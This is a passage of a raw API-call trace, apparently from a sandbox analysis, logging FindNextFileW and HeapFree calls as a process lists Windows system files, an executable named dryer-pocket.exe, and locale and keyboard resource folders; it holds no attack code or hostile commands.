ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5048e5d9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0192.978] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.978] FindNextFileW (in: hFindFile=0x67aa38, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x521d6f41, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0192.978] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.978] FindNextFileW (in: hFindFile=0x67aa38, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42c5547c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x42c5547c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0192.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0192.981] FindNextFileW (in: hFindFile=0x751050, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x178120a0, ftCreationTime.dwHighDateTime=0x1d5504d, ftLastAccessTime.dwLowDateTime=0x63956aa0, ftLastAccessTime.dwHighDateTime=0x1d5bfb5, ftLastWriteTime.dwLowDateTime=0x63956aa0, ftLastWriteTime.dwHighDateTime=0x1d5bfb5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dryer-pocket.exe", cAlternateFileName="DRYER-~1.EXE")) returned 1 [0192.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0192.985] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0192.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.986] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0192.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.986] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0192.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.987] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0192.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.988] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0192.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.988] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0192.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.988] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0192.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.989] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0192.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.992] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0192.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.992] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0192.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.992] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0192.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.993] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0192.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.993] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0192.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.993] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0192.994] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0192.994] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0192.994] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0192.994] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0192.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0192.995] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0192.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0192.995] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0192.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0192.998] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0192.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0192.998] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0192.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0192.999] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0192.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0192.999] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0193.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0193.000] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0193.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0193.000] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0193.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0193.000] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0193.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.001] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0193.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.003] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0193.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.004] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0193.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.004] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0193.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.004] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0193.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.007] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0193.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.007] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0193.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.007] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0193.008] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.008] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0193.008] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.008] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0193.008] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.008] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, 